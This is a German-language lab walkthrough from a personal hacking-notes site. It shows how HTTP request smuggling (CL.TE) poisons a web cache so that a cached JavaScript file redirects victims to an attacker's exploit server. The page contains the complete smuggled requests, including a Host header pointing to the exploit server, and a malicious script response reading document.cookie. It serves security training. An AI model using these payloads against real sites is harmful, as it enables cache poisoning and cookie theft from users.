> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# Web-Cache-Vergiftung durch HTTP-Request-Smuggling

### HTTP Request Smuggling ausnutzen, um Web-Cache-Poisoning durchzuführen

Das Frontend und das Backend behandeln HTTP-Anfragen unterschiedlich. / Das Frontend **unterstützt kein Chunked Encoding** und einige Antworten werden **zwischengespeichert**.

Das Ziel ist es, einen Angriff durchzuführen, der **Request-Smuggling** das Vergiften des Caches ermöglicht\*\*: Bei einer anschließenden Anfrage an eine JavaScript-Datei sollte das Opfer zum Exploit-Server umgeleitet werden, der ein Skript zurückgibt, das anzeigt `document.cookie`.

Das Lab simuliert automatisch einen Opfer-User: Auf die wenigen POST-Anfragen, die wir senden, stellt das Opfer seine eigene Anfrage.

#### Payload auf dem Server

Wir bereiten die schädliche JavaScript-Antwort vor:

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="/files/97c28f06848a7eae1e06a70d7398626b6dcaac6b" alt=""><figcaption></figcaption></figure>

#### Informationen zur Datei tracking.js

Es wird beobachtet, dass die Ressource 30 Sekunden lang verborgen ist\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="/files/d670e14753bd282fcaf69763e144d1bce4e6b8d1" alt=""><figcaption></figcaption></figure>

#### Analyse des Verhaltens der Schaltfläche Post-next

* Das `postId` Parameter bleibt unverändert.
* Durch einen Klick leitet die Anwendung zum nächsten Beitrag um.

Beispiel einer Anfrage, die diese Umleitung auslöst:

<figure><img src="/files/58325d34c2de39113f9abb39371eab41529d4768" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Test: A
```

<figure><img src="/files/f13814986c3aaf510dd906352b7210c786268bec" alt=""><figcaption></figcaption></figure>

#### Test: Ein beliebiger Host-Header wird injiziert

Indem der Host der internen Anfrage ersetzt wird:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="/files/b4ebbe0d38e6333b8958b75ef05ded8b129ae720" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c2c16b7f0025ef94498e582d136211bac5bf0a00" alt=""><figcaption></figcaption></figure>

#### Finale Nutzlast, um zu unserem Exploit-Server umzuleiten

Eine interne GET-Anfrage, die unser kontrolliertes **Host** wird eingefügt:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

Sobald das Opfer die zwischengespeicherte JavaScript-Ressource lädt, gibt der Cache **für 30 Sekunden** unsere modifizierte Antwort zurück und löst Folgendes aus:

```javascript
alert(document.cookie)
```

<figure><img src="/files/8d80077e2fda7a95aa4a9f738dc5b367ac717d80" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0e2d99a5f8ae6492bb771d317bbf480e4e9109b1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
